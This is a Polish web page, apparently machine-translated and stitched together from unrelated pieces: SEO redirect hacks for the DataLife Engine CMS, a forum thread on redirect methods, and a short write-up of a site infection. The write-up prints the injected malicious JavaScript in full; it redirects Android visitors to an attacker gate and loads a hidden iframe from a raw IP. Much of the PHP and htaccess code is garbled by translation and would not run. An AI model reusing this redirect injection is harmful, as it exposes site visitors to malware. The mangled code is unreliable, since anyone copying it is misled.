DZWON

Są tacy, którzy czytają tę wiadomość przed tobą.
Zapisz się, aby otrzymywać najnowsze artykuły.
E-mail
Nazwa
Nazwisko
Jak chcesz czytać Dzwon?
Bez spamu

Mam stronę na DataLife Engine i postanowiłem zmienić jej profil. Nie drastycznie, tylko trochę zawęź temat. W tym celu musiałem usunąć z serwisu ponad połowę treści niezwiązanych z tym tematem. Zacząłem trochę porządkować strony, zastępując ich zawartość nową zawartością. Ale mimo wszystko musiałem zmienić strukturę adresu URL i z tego powodu pojawił się panel webmasterów, frekwencja spadła, a pozycja w wyszukiwaniu na wąski temat. Ponadto zauważyłem, że istnieją linki do zdalnych stron z forów i usług, takich jak otvet.mail.ru. Podczas nawigowania z tych stron został zwrócony błąd 404. fakt techniczny następują inne negatywne czynniki - utrata wagi linków, spadek wskaźników behawioralnych i, jak sądzę, szereg negatywnych konsekwencji.

Postanowiłem to naprawić brutalną metodą - aby wszystkie usunięte strony dawały nie błąd 404, ale przekierowanie 301 na stronę główną. W CMS DLE, aby zaimplementować ten hack, musisz znaleźć kod w pliku /engine/modules/show.full.php:

elseif (! $ news_found) (@ header ("HTTP / 1.0 404 Nie znaleziono msgbox ($ lang [" all_err_1 "], $ lang [" news_err_12 "]);)

elseif (! $ news_found) (@header ("Nie znaleziono HTTP / 1.0 404"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)

i zastąp go

// Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje elseif (! $ News_found) (header ("HTTP / 1.0 301 Moved Permanently"); header ("Lokalizacja: ($ config [" http_home_url "]) )"); die ("Przekierowanie"));) // Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje

Teraz, gdy robot wyszukiwania skontaktuje się z nim, otrzyma wiadomość z informacją, że informacje z tej strony zostały przeniesione na zawsze na stronę główną, a cała waga linków, które trafiają do stron zdalnych, zostanie przeniesiona na stronę główną.

Odwiedzający ze zdalnych stron zostaną po prostu przekierowani na stronę główną i mam nadzieję, że odgadną, aby użyć wyszukiwania.

Teraz opiszę w przybliżeniu tę samą logikę ponownego adresowania, ale nie dla wiadomości, ale dla kategorii. Otwórz plik /engine/engine.php i poszukaj kodu:

if (! $ category_id) $ category_id = "nie wykryto";

if (! $ category_id) $ category_id = "nie wykryto";

którym zastępujemy

if ($ config ["allow_alt_url"] == "yes" AND! $ category_id AND $ view_template! = "rss") (header ( „HTTP / 1.0 301 przeniesiony na stałe”); nagłówek ( "Lokalizacja: ($config [" http_home_url "])"); umrzeć („Przekierowanie”); ) // rozwiązanie problemu z kategoriami, które nie istnieją

// rozwiązanie problemu z kategoriami, które nie istnieją if ($config ["allow_alt_url"] == "yes" AND! $ category_id AND $view_template! = "rss") (header ("HTTP / 1.0 301 Moved Permanently") ; header ("Lokalizacja: ($ config [" http_home_url "])"); die ("Przekierowanie");) // rozwiązanie problemu z nieistniejącymi kategoriami

Wszystko. Teraz to samo będzie działać również w przypadku usuniętych kategorii DLE.

W sieci opisano już wiele sytuacji, w których cyberprzestępcy zainfekowali witrynę na DLE (Data Life Engine) wirusem i przekierowali ją do innej domeny. W tym artykule skupimy się na jednym z tych ataków na witrynę, jednak jest mało prawdopodobne, że znajdziesz opisy tego typu infekcji - rodzaju unikalnego wirusa, który został zauważony po raz pierwszy.

Jak wirus dostał się na stronę

Nie udało się uzyskać dokładnych danych o źródle infekcji. Według znalezionych plików, które zostały przesłane do folderu UPLOADS, również nie znaleziono niczego konkretnego.

Prawdopodobnie zostało skradzione hasło od administratora hostingu lub strony. Konta FTP nie były używane na stronie.

Nietypowe przekierowanie

Po raz pierwszy Yandex zgłosił obecność wirusa na pasku narzędzi dla webmasterów w niedzielę 16 listopada. Wszystko wyglądało tak:

Wyszukaj wirusa na stronie

Do odnalezienia wirusa użyto specjalnego skryptu Ai-bolit... Ponieważ rozmiar witryny przekroczył 1 gigabajt, nie było możliwe skanowanie plików w poszukiwaniu wirusów bezpośrednio na serwerze (nie było wystarczającego czasu wykonania).

Pobierając na dysk lokalny archiwum witryny, uruchomiono kontrolę, której wyniki były dość zaskakujące - w plikach nie znaleziono nic podejrzanego, ale strona nadal przekierowywała albo do domeny nieprzyzwoitych treści, albo do pobrania podejrzanego oprogramowania.

Wchodząc na stronę z telefon komórkowy z systemem Android, użytkownicy byli automatycznie przekierowywani na następującą stronę:

Albo to:

Skanując każdy plik z osobna, nie udało się również zidentyfikować zagrożenia.

Jak znaleźć przekierowanie z taką infekcją DLE

Zupełnie przez przypadek, w szablonie main.tpl, na samym dole znalazł się plik. Bezpośrednio w kodzie widżetu konsultanta online był następujący kod:

Przedostatnia linia wydawała się podejrzana, a mianowicie nieszkodliwa biblioteka JQuery.ui.js została załadowana z niezrozumiałego adresu zapisanego jako IP.

Idąc pod ten adres otrzymujemy:

If (! GetCookie ("google__analytics __")) (var gate = "http://5.61.34.53/jquery/jquery.php"; var dzisiaj = new Date (), jutro = new Date (); jutro.setDate ( dzisiaj .getDate () + 1); setCookie ("google__analytics__", 1, jutro.toGMTString ()); var ua = navigator.userAgent.toLowerCase (); if (ua.indexOf ("android")> -1) okno location = gate; else (var el = document.createElement ("iframe"); document.body.appendChild (el); el.id = "iframe"; el.style.width = 0; el.style.height = 0 ; el.src = "http://5.61.34.53/2c24";)) funkcja setCookie (nazwa, wartość, wygasa, ścieżka, domena, bezpieczne) (document.cookie = nazwa + "=" + escape (wartość) + ((wygasa)? "; wygasa =" + wygasa: "") + ((ścieżka)? "; ścieżka =" + ścieżka: "") + ((domena)? "; domena =" + domena: "" ) + ((secure)? "; secure": "");) function getCookie (name) (var cookie = "" + document.cookie; var search = "" + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length> 0) (offset = cookie.indexOf (szukaj ); if (offset! = -1) (offset + = search.length; end = cookie.indexOf (";", offset) if (end == -1) (end = cookie.length;) setStr = unescape (cookie. substring (offset, end));)) return (setStr); )

To właśnie ta linia ze skryptem spowodowała przekierowanie. Usuwając go, zmieniając hasła w serwisie i hostingu, problem zniknął.

Czym ten wirus przekierowujący różni się od innych rodzajów infekcji?

Wyszukiwanie plików witryny za pomocą Notatnika w poszukiwaniu wystąpień eval, base64 i innych jest bezużyteczne. Sprawdzanie witryny za pomocą programów antywirusowych (wszystkich znanych) jest bezużyteczne. Sprawdzenie za pomocą Ai-bolit również się nie powiedzie.

Tylko w trybie ręcznym z niezależnym przeglądaniem możesz zobaczyć wynik, ponieważ wirus nie jest pobierany z samej witryny, ale z zewnętrznego źródła. Aby uniknąć takiego włamania na stronę, nigdy nie przechowuj loginów i haseł w przeglądarkach, komplikuj ich i nie używaj nazwy administratora ADMIN. Zadbaj o swoje witryny w DLE!

Stan tematu: zamknięty.

  1. W związku z migracją do DLE 8.2 trzeba zarejestrować przekierowanie ze starych stron na nowe.

    B. htaccess dodaję Przekierowanie 301/content/view/121/54/http://www.site.ru/alan

    Na przykład ci, którzy wpisali test zostaną przekierowani na www.test.com, reszta na enter.test.com (kolejność wpisów jest ważna

    Uwaga: do moich celów (zmiana domeny) wystarczyła pierwsza opcja prostego przekierowania 301.
    2.
    Korzystanie z mod_rewrite (zapisane w pliku .htaccessaccess

    Klasyczny problem łączenia nazw witryn z i bez www jest rozwiązywany w następujący sposób:

    Opcje + FollowSymLinks
    RewriteEngine włączony
    RewriteCond% (HTTP_HOST) ^ twojawitryna \ .com
    RewriteRule ^ (. *) $ Http://www.yoursite.com/$1.

    Lub alternatywna składnia:

    Opcje + FollowSymLinks
    RewriteEngine włączony
    RewriteCond% (HTTP_HOST) ^ domena \ .com $
    Przepisz regułę ^ (. *) $ Http://www.domain.com/$1

    Oznaczenie oznacza: przekieruj klienta i wyślij mu kod statusu 301 (R = 301) i niech ta reguła będzie trwała (L).

    Przekieruj starą domenę na nową:

    Opcje + FollowSymLinks
    RewriteEngine włączony
    RewriteRule (. *) Http://www.nowadomena.com/$1

    Na przykład, jeśli chcesz, aby plik rewrite.html został załadowany zamiast rewrite.htm, dodaj do .htaccess:

    RewriteEngine włączony
    Przepisz bazę /
    RewriteRule ^ rewrite \ .htm $ rewrite.html

    Aby zastąpić wszystkie pliki .htm plikami .html:

    RewriteEngine włączony
    Przepisz bazę /
    Przepisz regułę ^ (. *) \. Htm $ 1.html

    3.
    Przekierowanie PHP:


    nagłówek („Lokalizacja: http://www.newdomain.ru/newdir/newpage.htm”);
    Wyjście ();
    ?>

    Lepiej jest określić HTTP / 1.1, ponieważ starsze nie obsługują hostingu współdzielonego. Pamiętaj, że przed wywołaniem nagłówka nic nie powinno być wyprowadzane (takie jak echo lub print). Dlatego lepiej umieścić ten kod na początku skryptu php. Pełniejsza wersja przekierowania php z zapisem przesyłanej strony i parametrów wywołania:

    $ ref = $ _ SERVER ["QUERY_STRING"];
    if ($ ref! = "") $ ref = "?". $ ref;
    nagłówek („HTTP / 1.1 301 przeniesiony na stałe”);
    nagłówek („Lokalizacja: http://nowadomena.com/”.$ref);
    Wyjście ();
    ?>

    4.
    Przekieruj do ASP

    <%@ Language=VBScript %>
    <%
    Response.Status = "301 przeniesiony na stałe"
    Response.AddHeader "Lokalizacja", "http://www.nowy-url.com"
    odpowiedź.koniec
    %>

    5.
    Przekieruj do ASP.NET

    6.
    Przekieruj do ColdFusion

    <.cfheader statuscode="301" statustext="Moved permanently">
    <.cfheader name="Location" value="http://www.nowy-url.com">

    7.
    Przekieruj z odświeżeniem meta

    Gdzie 0 to opóźnienie przekazywania w sekundach, nowadomena.com to strona, na którą przekazujemy. Niektóre stare przeglądarki nie obsługują metaodświeżania o wartości 0, dla zgodności można ustawić wartość niezerową, chociaż moim zdaniem nie ma to już znaczenia. Takie przekierowanie nie będzie w stanie skleić twoich stron (z www i bez) i przenieść PR, ponieważ jest ignorowane przez wyszukiwarki. Zwraca kod 200 OK, który jest taki sam jak normalna strona. Ta technika jest popularna wśród spamerów i powinna być używana tylko na stronach, które nie będą indeksowane.
    8.
    Przekieruj za pomocą JavaScript

    Przekierowania JavaScript są częściej implementowane za pomocą funkcji setTimeout ("funkcja", opóźnienie).

    Na przykład, automatycznie kliknij przycisk „Prześlij” formularza „wyszukiwarka” w ciągu 0,1 sekundy po załadowaniu kodu:

    SetTimeout ("document.forms [" searchform "]. Prześlij.kliknij ()", 100);

    Możesz zawiesić dowolną akcję na przycisku „Prześlij”, na przykład otwórz nowy adres URL w tym oknie. Nawiasem mówiąc, takie przekierowania są częstsze przy organizowaniu DorWays – przeglądarka Użytkownika zostanie przekierowana na inną stronę, a robot wyszukiwania, który „nie rozumie” JavaScriptu zindeksuje tę stronę, która jest niedostępna dla użytkownika. Twórcy drzwi umieszczają na nim tekst wypełniony "niezbędnymi" słowami kluczowymi.

    Aby po prostu przekierować na inną stronę, możesz wstawić po jednej z opcji kodu JavaScript:
    * lokalizacja = "http://www.nowadomena.com";
    * document.location.href = "http://www.nowadomena.com";
    * window.location.reload („http://www.nowadomena.com”);
    * document.location.replace („http://www.nowadomena.com”);
    W tym drugim przypadku nie będzie już możliwości powrotu do strony, która wykonała przekierowanie, ponieważ jej adres jest usuwany z historii, co często jest konieczne. Jeśli potrzebujesz opóźnienia czasowego, możesz wydać lokalizację = "http://www.newdomain.com"; jako funkcję i wstaw ją do setTimeout ("function()", delay_in_ms); Przekierowanie do JavaScrupt nie jest przekierowaniem 301 i nie przeniesie PR strony i nie będzie w stanie zapewnić jej sklejenia.

    Zwróćmy uwagę na kilka dodatkowych funkcji przekierowań:

    * Metody przekierowań .Htaccess działają tylko na Serwery Linux posiadanie Apache z włączoną opcją Mod-Rewrite.
    * Korzystanie z .htaccess powoduje dodatkowe obciążenie serwera Apache, bardziej wydajne jest pisanie w nim tych samych poleceń plik konfiguracyjny hpptd.conf, ale z reguły webmaster nie ma do niego dostępu.
    * Przekierowanie 301, pozwala zaoszczędzić ruch i przenieść PR strony do wyszukiwarek (na pewno dla Google).
    * proces klejenia i przenoszenia PR zajmuje dużo czasu - do kilku miesięcy i również zależy od wyszukiwarki, więc nie usuwaj stara strona lub witrynę do momentu ostatecznego przeniesienia.
    * niektóre wyszukiwarki wymagają sklejenia witryn dodatkowe ustawienia np. dla Yandex trzeba dodatkowo zarejestrować robots.txt

    Wniosek. Bezpieczny sposób na przekierowanie starych stron na nową lub starą witrynę nowy adres, z zachowaniem pozycji w Wyszukiwarki, jest użycie przekierowania 301, które pozwoli również przenieść stary Page Rank strony na nową witrynę.

    Możesz przeczytać więcej o mod_rewrite na:

Cześć przyjaciele. W końcu nadszedł czas na trzecią część mojego przewodnika po mega optymalizacji DLE.

Dopiero teraz z przerażeniem zdałem sobie sprawę, że poprzednia druga część instrukcji wyszła ponad pół roku temu!

Zgodnie z ustaloną tradycją będziemy rozmawiać, a konkretnie w tej części Opowiem o niektórych cechach silnika i małych, ale bardzo przydatne funkcje i khaki które nie pasowały do ​​formatu z poprzednich części.

Ta część dotyczy również adresów stron, ale w przeciwieństwie do drugiej części, w której walczyliśmy z duplikatami i wykluczyliśmy ich pojawianie się, w tej części przyjrzymy się, jak pozbyć się nieistniejących stron, które pojawiły się w wyniku usunięcia lub błąd w adresie.

Post zaktualizowany 6 maja 2014 r.:
Zaktualizowano zmiany wprowadzone w silniku, dodano obsługę nowych wersji silnika.
Dotyczy następujących wersji DLE: 7.x, 8.x, 9.x, 10.x!

Inne części poradnika SEO:
Część 1, Optymalizacja tytułów tytułów —
Część 2, Radzenie sobie z powielonymi treściami -
Część 4, Poprawka dla wersji DLE 9.3, 9.4, 9.5, 9.6 -

Przekierowanie z nieistniejących stron na strony poprawne i istniejące

Sztuczka została wymyślona dosłownie dzisiaj, kiedy znalazłem wiele błędów 404 na jednej ze stron w panelu webmastera.

Weźmy bardzo realną sytuację - z jakiegoś powodu zdecydowałeś się zmienić ilość newsów wyświetlanych na stronie głównej lub stronach kategorii. Co mi się przydarzyło: redesign strony internetowej; całkowicie zmieniła się struktura stron; postanowiono wyświetlać więcej krótkich ogłoszeń informacyjnych na każdej stronie (od 7 do 10). Wynik był następujący - wiele stron z błędami 404 pojawiło się w panelu webmastera... Prosta arytmetyka, na stronie było 1000 newsów, na każdej stronie wyświetlało się 7 ogłoszeń, więc tylko na stronie głównej otrzymujemy 1000/7 = 142 stron paginacji. Po zmianie stron było dokładnie 100. W rezultacie 42 strony po prostu zniknęły. A jeśli weźmiemy więcej kategorii, to jest już sto lub dwie nieistniejące strony. To jest złe, brzydkie i generalnie nie bzdury.

Otwórz plik /engine/modules/show.short.php i na samym dole odnaleźć:

} ?>

POWYŻEJ Dodaj:

$ all_pages_count = @ ceil ($ count_all / $ config ["news_number"]); if ($ cstart> $ all_pages_count) (if ($ all_pages_count> 1) (nagłówek (); nagłówek ("Lokalizacja:". $ url_page. "/ strona /". $ all_pages_count. "/"); die ();) inny (nagłówek ( „HTTP / 1.1 301 przeniesiony na stałe”); nagłówek ("Lokalizacja:". $ url_page. "/"); umierać (); )) // przekieruj do ostatniej strony, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca

// przekieruj do ostatniej strony, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca $ all_pages_count = @ceil ($ count_all / $ config ["news_number"]); if ($ cstart> $ all_pages_count) (if ($ all_pages_count> 1) (nagłówek ("HTTP / 1.1 301 przeniesiony na stałe"); nagłówek ("Lokalizacja:". $ url_page. "/ strona /". $ all_pages_count. "/ "); die ();) else (header (" HTTP / 1.1 301 przeniesiony na stałe "); header (" Location: ". $ url_page." / "); die ();)) // przekierowanie do ostatniej strony , jeśli adres URL zawiera stronę większą niż maksymalna istniejąca strona

Pozwól, że wyjaśnię trochę kod: następuje sprawdzenie warunku - jeśli numer bieżącej strony jest większy niż maksymalna ilość strony w witrynie (lub w kategorii), następuje przekierowanie do ostatniej strony. Jeśli wymagana jest strona numer 2, a jest tylko jedna strona, następuje przekierowanie do strony wklęsłej (lub strona główna kategorie).

Przykład na palcach, ktoś żąda strony site.ru/page/435/, ale ta strona ma tylko 268 stron, dlatego nastąpi przekierowanie na adres site.ru/page/268/.

Przekieruj z nieistniejących stron na strony z komentarzami do poprawnych

Trafność: Tylko wersje DLE 8.x, 9.x. Nie dotyczy DLE 10.x, ponieważ już zaimplementowany w samym silniku.

Podobna sytuacja z paginacją w komentarzach. Może zaistnieć sytuacja, że ​​np. zostałeś spamowany w komentarzach, wyszukiwarki zaindeksowały wszystkie strony z komentarzami, a potem zauważyłeś to i usunąłeś wszystkie komentarze. Ale strony indeksowane przez wyszukiwarkę nadal pozostaną, po prostu nie będą wyświetlać żadnych komentarzy, ale będzie kompletny duplikat strony głównej wiadomości. I to jest smutne, musimy to naprawić!

Otwórz plik /engine/classes/comments.class.php i na samym dole odnaleźć:

} } ?>

POWYŻEJ Dodaj:

// przekieruj do ostatniej strony komentarzy, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca if ($ this-> cstart> $ enpages_count) (header ("HTTP / 1.1 301 Moved Permanently"); header ("Lokalizacja :". $ url ); die ();) // przekieruj do ostatniej strony komentarzy, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca

Cóż, teraz wszystko jest w porządku, możesz sprawdzić.

Przekieruj z linków z dodatkowymi znakami lub błędnymi zakończeniami na poprawne adresy

Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.

Wcześniej była bardzo złożona decyzja, która zależała od wersji silnika. Ale od momentu napisania tego posta rozwinąłem swoje umiejętności na tyle, aby skomponować uniwersalne rozwiązanie dla wszystkich wersji DLE i generalnie absolutnie dla każdego silnika czy dowolnej strony!

Otwórz .htaccess, który znajduje się w katalogu głównym i odnaleźć:

RewriteBase / RewriteCond% (REQUEST_FILENAME)! -F RewriteCond% (REQUEST_FILENAME)! -D RewriteCond% (REQUEST_URI) ^ (. *) \. Html (. +) RewriteCond% (REQUEST_URI) ^ (. *) \. Htm $ (REQUEST_URI) ^ (. *) \. Ht $ RewriteCond% (REQUEST_URI) ^ (. *) \. H $ RewriteCond% (REQUEST_URI) ^ (. *) \. $ RewriteRule ^ (. *) \. (. * ) $1.html

Niezależnie od wybranego typu CNC, podążając za dowolnym łączem „krzywej”, odwiedzający dotrze tam, gdzie powinien.

Przekierowanie z sekcji lub kategorii, które już nie istnieją, na stronę główną

Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.

Przykład z życia: zdecydowałeś się zmienić strukturę strony lub po prostu usunąłeś niektóre kategorie jako niepotrzebne dlatego te strony przestaną istnieć, a linki do nich mogą gdzieś pozostać. Na przykład na emofanach miałem kiedyś blogi dla użytkowników dostępne pod adresem site.ru/blog/, które zostały podzielone na użytkowników, takich jak site.ru/blog/user1/, site.ru/blog / user2 / itp. Od wielu lat rozbieram te blogi jako niepotrzebne, a linki do nich i błędy w panelu webmastera żyją.

Ta zmiana pozwoli również uniknąć wyświetlania pełnych adresów stron z wiadomościami bez rozszerzenia na końcu, a nawet pełnych adresów stron z wiadomościami, gdy na końcu nie ma całego adresu URL. Tym samym w połączeniu z poprzednim punktem zmiany te pomogą uniknąć pojawiania się błędnych i niechcianych adresów o 99%.

Otwórz plik /engine/engine.php i odnaleźć:

if (! $ category_id) $ category_id = "nie wykryto";

if (! $ category_id) $ category_id = "nie wykryto";

ZASTĄPIĆ na:

// rozwiązanie problemu z kategoriami, które nie istnieją if (! $ category_id AND $ view_template! = "rss") (header ("HTTP / 1.0 301 przeniesiony na stałe"); header ("Lokalizacja: ($config [" http_home_url " ] ) "); die (" Przekierowanie ");) // rozwiązanie problemu z kategoriami, które nie istnieją

Przekierowanie postów, które nie mają identyfikatora na stronę główną

Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.

Kolejna prawdziwa historia zaczerpnięta z moich stron. Panel webmastera zawiera wiele stron z błędem 404 tego rodzaju site.ru/category/subcat/page-name.html i zgodnie z zasadami site.ru/category/subcat/123-page_name.html powinno wyglądać tak . Szczerze mówiąc, nadal nie rozumiem, jak i dlaczego zniknął identyfikator wiadomości i kto w ten sposób odniósł się do publikacji. Nigdy nie używałem żadnych modułów i hacków, które usuwają jego identyfikator z adresu URL, więc grzeszę na użytkownikach, którzy "krzywo" umieszczają w swoich żarówkach linki do mojej strony. No dobrze, to już nie jest ważne, ale ważne jest, aby poradzić sobie z tym problemem!

Tylko dla wersji DLE 10.x (a także dla 9.5, 9.6, 9.7 i 9.8)

Nowa wersja kodu, oprócz tego, że przekierowuje „problemowe” adresy stron z pełnymi wiadomościami, ale także przekierowuje na stronę główną, która nie istnieje lub została usunięta strony statyczne... Wynika to ze zmienionej logiki w silniku. Z jednej strony to chyba dobrze, bo za jednym zamachem rozwiązujemy dwa problemy. Z drugiej strony początkowo silnik generuje zwykły błąd 404 - jeśli jesteś zadowolony z tego stanu rzeczy, to nie wprowadzaj zmian opisanych w tym akapicie.

Otwórz plik /engine/modules/static.php i znajdujemy się na samym końcu:

@ nagłówek ("Nie znaleziono HTTP / 1.0 404"); $ lang ["static_page_err"] = str_replace ("(strona)", $ nazwa. ".html", $ lang ["static_page_err"]); msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]);

@header ("Nie znaleziono HTTP / 1.0 404"); $ lang ["static_page_err"] = str_replace ("(strona)", $ nazwa. ".html", $ lang ["static_page_err"]); msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]);

ZASTĄPIĆ na:

// przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator, a także nieistniejącego nagłówka stron statycznych ("HTTP / 1.0 301 Moved Permanently"); nagłówek ("Lokalizacja: ($config [" http_home_url "])"); umrzeć („Przekierowanie”); // przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator, a także nieistniejących stron statycznych

Stare rozwiązanie. Tylko dla wersji DLE 7.x, 8.x, 9.0, 9.2 i 9.3

Wszystkie adresy URL zawierające na końcu .html i niezawierające identyfikatorów zostaną przekierowane na stronę główną. Istniejące i poprawne strony statyczne, mimo że również nie mają identyfikatora w adresie URL, nie zostaną przekierowane, ale będą działać jak poprzednio.

Otwórz cały plik /engine/engine.php i odnaleźć:

if ($ podakcja == "") $ podakcja = "pokazowe"; )

if ($ podakcja == "") $ podakcja = "pokazowe"; )

PONIŻEJ Dodaj:

if (($ config ["allow_alt_url"] == "tak") && (strpos ($ _SERVER ["REQUEST_URI"], ".html")! == false) && ($ dle_module == "main")) ( nagłówek ( „HTTP / 1.0 301 przeniesiony na stałe”); nagłówek ( "Lokalizacja: ($config [" http_home_url "])"); umrzeć („Przekierowanie”); ) // przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator the

// przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął id if (($ config ["allow_alt_url"] == "yes") && (strpos ($ _ SERVER ["REQUEST_URI"], ".html ")! == false) && ($ dle_module == "main")) (nagłówek ("HTTP / 1.0 301 przeniesiony na stałe"); nagłówek ("Lokalizacja: ($config [" http_home_url "])"); die ( "Przekierowanie"); ) // Przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator

Przekieruj usunięte lub nieistniejące wiadomości do domu

Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.

Cóż, to standardowa sytuacja i można ją znaleźć na każdej stronie. Usunąłeś niektóre wiadomości i oczywiście zostanie wygenerowany błąd 404. Jeśli to Ci nie odpowiada, a mianowicie, że wystawiony jest błąd 404, możesz na przykład zrobić przekierowanie 301 na stronę główną witryny, która z pewnością istnieje ;)

Otwórz plik /engine/modules/show.full.php i odnaleźć:

elseif (! $ news_found) (@ header ("Nie znaleziono HTTP / 1.0 404"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)

elseif (! $ news_found) (@header ("Nie znaleziono HTTP / 1.0 404"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)

ZASTĄPIĆ na:

// Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje elseif (! $ News_found) (header ("HTTP / 1.0 301 Moved Permanently"); header ("Lokalizacja: ($ config [" http_home_url "]) )"); die ("Przekierowanie"));) // Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje

Teraz przy przejściu do nieistniejącej lub usuniętej publikacji nastąpi przekierowanie na stronę główną serwisu.

Ogólnie chłopaki, mam osobny bardzo duży post na temat.
Polecam zapoznać się z nim, niezależnie od tego, czy pracujesz tylko z DLE czy jakimś innym CMS-em.

Zabraniamy indeksowania sekcji witryny za pomocą metatagu robots

Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.

Więc pamiętaj, niedawno opublikowałem post o tym, w którym to powiedziałem zamykanie stron przed indeksowaniem za pomocą robots.txt to nie pocieranie, ale zamykanie za pomocą poprawna opcja... Gorąco polecam przeczytanie tego posta.

Jeśli nie czujesz się pewnie, gorąco polecam go używać! Dzięki modułowi nie możesz się nigdzie pomylić i nie musisz wprowadzać tych zmian po każdej aktualizacji silnika.

Otwórz już ukochany plik /engine/engine.php, znajdź bezużyteczną linię i usuń:

if ($config ["allow_rss"]) $ metatagi. =<<HTML;

POWYŻEJ Dodaj:

if ($ podakcja == "informacje o użytkowniku" LUB $ podakcja == "wszystkie wiadomości" LUB $ podakcja == "nowe posty" LUB $ do == "statystyki" LUB $ do == "dodajwiadomości" LUB $ do == "zarejestruj się" LUB $ do == "ulubione" LUB $ do == "reguły" LUB $ do == "pm" LUB $ do == "opinie" LUB $ do == "ostatnie komentarze" LUB $ do == "zagubione hasło" LUB $ do == "szukaj" LUB $ do == "ostatnie wiadomości" LUB $ do == "alltags" LUB $ do == "tagi" LUB $ dle_module == "data") $ metatagi. <<HTML;

if ($ podakcja == "informacje o użytkowniku" LUB $ podakcja == "wszystkie wiadomości" LUB $ podakcja == "nowe posty" LUB $ do == "statystyki" LUB $ do == "dodajwiadomości" LUB $ do == "zarejestruj się" LUB $ do == "ulubione" LUB $ do == "reguły" LUB $ do == "pm" LUB $ do == "opinie" LUB $ do == "ostatnie komentarze" LUB $ do == "zagubione hasło" LUB $ do == "szukaj" LUB $ do == "ostatnie wiadomości" LUB $ do == "alltags" LUB $ do == "tagi" LUB $ dle_module == "data") $ metatagi.<<HTML;

Jeśli chcesz zamknąć stronę paginacji z indeksowania, na przykład site.ru/page/X/ lub site.ru/category/page/X/, musisz dodać jeden wiersz:

(intval ($ _GET ["cstart"])> 1)

(intval ($ _ GET ["cstart"])> 1)

W rezultacie powyższy kod jest przekształcany w następujący sposób:

if ($ podakcja == "userinfo" LUB $ podakcja == "allnews" LUB ... $ dle_module == "data" LUB (intval ($ _GET ["cstart"])> 1)) $ metatagi. <<HTML;

if ($ podakcja == "userinfo" LUB $ podakcja == "allnews" LUB ... $ dle_module == "data" LUB (intval ($ _ GET ["cstart"])> 1)) $ metatagi. =<<HTML;

Teraz wyjaśnię, co oznacza każda z klauzul warunku if, i przygotowałem dla Ciebie wspaniałą tabelę opisową.

ModułOpisPrzykładowy adres URL
Informacje użytkownikaZobacz profil użytkownika.site.ru/użytkownik/nazwa_użytkownika/
Wszystkie nowościPrzeglądanie wiadomości konkretnego użytkownika.site.ru/użytkownik/nazwa_użytkownika/wiadomości/
nowe ogłoszeniaPrzeglądanie nowości, indywidualnie dla każdego użytkownika, jest dostępne tylko dla zarejestrowanych, gościom wyświetlany jest błąd.site.ru/nowe posty/
statystykiStrona statystyk witryny i TOP10 użytkowników.site.ru/statistics.html
dodajwiadomościStrona do dodawania wiadomości do serwisu.site.ru/addnews.html
zarejestrowaćNowa strona formularza rejestracji użytkownika.site.ru/index.php?do=register
ulubionePrzeglądanie ulubionych, indywidualnie dla każdego użytkownika, jest dostępne tylko dla zarejestrowanych użytkowników, dla gości wyświetlany jest błąd.site.ru/ulubione/
zasadyStrona z regułami witryny, które są wyświetlane przed rejestracją, które również istnieją na osobnej stronie.site.ru/rules.html
po południuPrzeglądanie prywatnych wiadomości przez użytkownika lub forma wysłania prywatnej wiadomości do dowolnego użytkownika serwisu.site.ru/index.php?do=pm
sprzężenie zwrotneStrona opinii.site.ru/feedback.html
ostatnie komentarzeWyświetl wszystkie komentarze do publikacji na stronie w odwrotnej kolejności chronologicznej.site.ru/index.php?do=lastcomments
zagubione hasłoStrona odzyskiwania hasła.site.ru/index.php?do=lostpassword
SzukajSekcja wyszukiwania w witrynie.site.ru/index.php?do=search
ostatnie wiadomościZobacz wszystkie najnowsze wiadomości na stronie. Dokładna kopia strony głównej serwisu i wszystkich stron paginacji.site.ru/ostatnie wiadomości/
wszystkie tagiWyświetl wszystkie strony z tagami witryny.site.ru/tags/
tagiWyświetl posty z określonym tagiem.site.ru/tags/Tag+Nazwa/
dataArchiwum witryny. Lista publikacji na dany rok, miesiąc lub dzień.site.ru/2007/ lub site.ru/2007/06/ lub site.ru/2007/06/22/

* Najważniejszy punkt- przy zamykaniu stron przed indeksowaniem za pomocą opisanej metody konieczne jest usunięcie zakazów w robots.txt dla stron i sekcji, które zamknęliśmy za pomocą metatagu. W przeciwnym razie nie będzie sensu.

Według własnego uznania możesz usunąć niektóre części podanego przeze mnie kodu, sekcje, które nie muszą być zamykane przed indeksowaniem specjalnie dla Twojej witryny. Po to aby, proszę bądź ostrożny.

Dodaj tag rel = "canonical" dla pełnych stron z wiadomościami

Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.

Pamiętam, że ktoś w komentarzach do jednej z poprzednich części prosił mnie, abym ci powiedział, jak wyświetlić tag rel = "canonical" w publikacjach na stronie, więc kto nie widział mojego komentarza opisującego tę metodę, czytaj dalej.

Otwórz plik /engine/modules/show.full.php i ...

dla wersji DLE 7.x, 8.x, 9.0, 9.2 i 9.3 znajdujemy:

